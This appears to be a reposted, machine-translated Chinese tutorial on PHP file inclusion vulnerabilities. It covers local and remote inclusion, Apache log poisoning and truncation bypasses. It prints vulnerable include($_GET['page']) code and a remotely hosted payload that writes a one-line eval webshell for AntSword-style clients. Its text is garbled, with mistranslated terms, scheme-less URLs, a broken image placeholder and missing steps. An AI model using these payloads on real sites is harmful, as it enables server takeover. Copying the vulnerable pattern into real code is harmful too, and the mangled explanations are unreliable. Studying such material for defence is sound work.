文件包含漏洞

2023-09-03 0 7,937 百度已收录

文件包含漏洞

大多数Web语言只能使用文件包含操作。 PHP语言提供的文件包含功能比较强大且灵活,因此PHP语言中经常会出现包含漏洞。但包含漏洞的不仅仅是PHP语言

PHP 包含

四大功能:

include()、include_once()、require()、require()_once

本地包含:

测试一

ArrayUtil.php:

<?php
	function PrintArr($arr,$sp="-->",$lin="
"
){ foreach($arr as $key => $value){ echo "$key $sp $value $lin"; } } ?>

测试.php:

<?php
	include("ArrayUtil.php");  		#包含文件ArrayUtil.php
	$arr = array("张三","李四","王五");
	PrintArr($arr,"==>");
?>

使用权:

文件包含漏洞

测试二

phpinfo.txt:


测试.php:

<?php
	include("phpinfo.txt");
?>

遥控器包含:

需要开启php.ini中的allow_url_include选项

测试

你好.php:

<?php
	echo "Hello world!!"
?>

测试.php:

<?php
	include($_GET['page']);
?>

://127.0.0.1/hello.php

其中,将hello.php的后缀名替换为txt等其他格式的后缀,也可以成功实现远程包含

如果攻击者输入不存在的文件php文件包含漏洞,PHP就会报错,错误信息中会透露网站的根目录

几种常见的力量攻击形式

读取敏感文件

远程包含 shell

测试.php:

<?php
	include($_GET['page']);
?>

ehco.txt:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST["hummer"]);?>")?>

://10.10.10.139/echo.txt

测试不成功,写入shell.php时,只写入

但是可以在远程主机上写一句话,通过远程包含,砍刀或者蚁剑也可以连接


蚁剑连接://10.10.10.139/echo.txt

测试成功!

配合文件上传

上传图片、txt等格式的文件,包含在文件中,作为php代码执行。

使用 PHP 封装合约

包含 Apache 日志文件

Apache运行后通常会默认生成两个日志文件(access.log和error.log),分别记录客户端的每个请求以及服务器响应的相关信息。

当找不到包含的文件时,我们可以自己构建 Apache 日志,并将我们的一句话木马写入其中:

先提出请求:

检查日志:

[外部链接图像传输失败。 源站可能有防盗链机制。 建议保存图片直接上传(img-aUoTNGFS-1647996321498)(E:学习笔记渗透测试学习笔记渗透测试.assetsa2fSd89XFbHtvUK.png)]

发现是浏览器手动转码的

为了避免被编码,可以使用BurpSute绕过编码:

再次查看Apache日志:

编码已成功绕过

截断包含

在许多情况下,程序员通过修复扩展来修复 PHP 包含漏洞。

代码片段如下:

<?php
    if(isset($_GET['page'])){
        include $_GET['page']."php";
    }
	else{
        include 'home.php';
    }
?>

虽然这样可以抵御一些攻击php文件包含漏洞,但并没有真正修复漏洞。 攻击者仍然可以通过截断来突破此代码。

此方法仅适用于 magic_quotes_gpc 关闭时。 当PHP开启magic_quotes_gpc时,NULL()将被通配。

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php 文件包含漏洞 https://www.wkzy.net/game/192285.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务